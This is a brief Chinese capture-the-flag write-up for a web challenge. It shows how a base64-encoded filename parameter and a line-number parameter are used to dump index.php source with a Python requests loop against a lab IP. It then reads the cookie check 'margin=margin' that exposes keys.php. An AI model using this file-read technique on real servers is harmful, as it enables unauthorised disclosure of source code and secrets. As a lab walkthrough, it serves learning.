进来以后看到一个巨长的字符串, 源码同样,发现url后面是base64编码解码得keys.txt

还有一个line参数，修改并没有发生任何变化。我想不到要改keys.txt成index.php（base64加密格式：aW5kZXgucGhw==）

line=1时：

line=2时：

 用脚本跑

import requests

a=25 #表示index.php文件的代码行数
for i in range(a):
    url="http://114.67.175.224:11931/index.php?line="+str(i)+"&filename=aW5kZXgucGhw=="
    s=requests.get(url)
    print(s.text)

得到

<? php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' => 'keys.txt',
    '1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
    $file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
} ?>

部分解释：

    定义了一个文件列表数组$file_list，包含了两个默认的文件keys.txt和index.php。如果COOKIE中存在名为’margin’的值，并且该值为’margin’，则将一个名为’keys.php’的文件添加到文件列表中。也就是cookie值为margin时显示keys.php内容。

这里就是让将cookies添加字段margin=margin
并且访问keys.php
进行尝试